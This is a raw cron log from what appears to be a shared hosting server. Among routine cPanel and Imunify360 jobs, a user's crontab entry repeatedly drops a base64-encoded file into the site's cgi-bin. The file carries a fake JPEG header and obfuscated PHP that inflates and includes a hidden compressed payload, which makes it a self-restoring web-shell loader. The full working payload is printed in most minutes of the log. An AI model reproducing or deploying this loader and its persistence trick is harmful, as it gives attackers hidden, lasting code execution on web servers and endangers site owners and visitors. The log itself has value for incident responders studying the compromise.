Aug 31 10:50:01 server CROND[30729]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 10:50:01 server CROND[30727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:50:01 server CROND[30725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:51:01 server CROND[31728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:51:01 server CROND[31729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:51:01 server CROND[31730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:52:01 server CROND[32119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:52:01 server CROND[32120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:52:01 server CROND[32121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:53:01 server CROND[32515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:53:01 server CROND[32516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:53:01 server CROND[32517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:54:01 server CROND[471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:54:01 server CROND[472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:54:01 server CROND[473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:55:01 server CROND[901]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 10:55:01 server CROND[902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:55:01 server CROND[903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:55:01 server CROND[906]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 10:55:01 server CROND[934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:55:01 server CROND[961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:55:01 server CROND[905]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:56:01 server CROND[2026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:56:01 server CROND[2027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:56:01 server CROND[2025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:57:01 server CROND[2475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:57:01 server CROND[2476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:57:01 server CROND[2477]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 10:57:01 server CROND[2478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:58:01 server CROND[2942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:58:01 server CROND[2943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:58:01 server CROND[2944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:59:01 server CROND[3328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:59:01 server CROND[3329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:59:01 server CROND[3330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:00:01 server CROND[3721]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 11:00:01 server CROND[3723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 11:00:01 server CROND[3726]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 11:00:01 server CROND[3730]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:00:01 server CROND[3725]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:00:01 server CROND[3727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:00:01 server CROND[3724]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 11:00:01 server CROND[3731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:00:01 server CROND[3729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:01:01 server CROND[4664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:01:01 server CROND[4666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:01:01 server CROND[4667]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 11:01:01 server CROND[4668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:01:01 server run-parts(/etc/cron.hourly)[4667]: starting 0anacron
Aug 31 11:01:01 server run-parts(/etc/cron.hourly)[4688]: finished 0anacron
Aug 31 11:02:01 server CROND[5057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
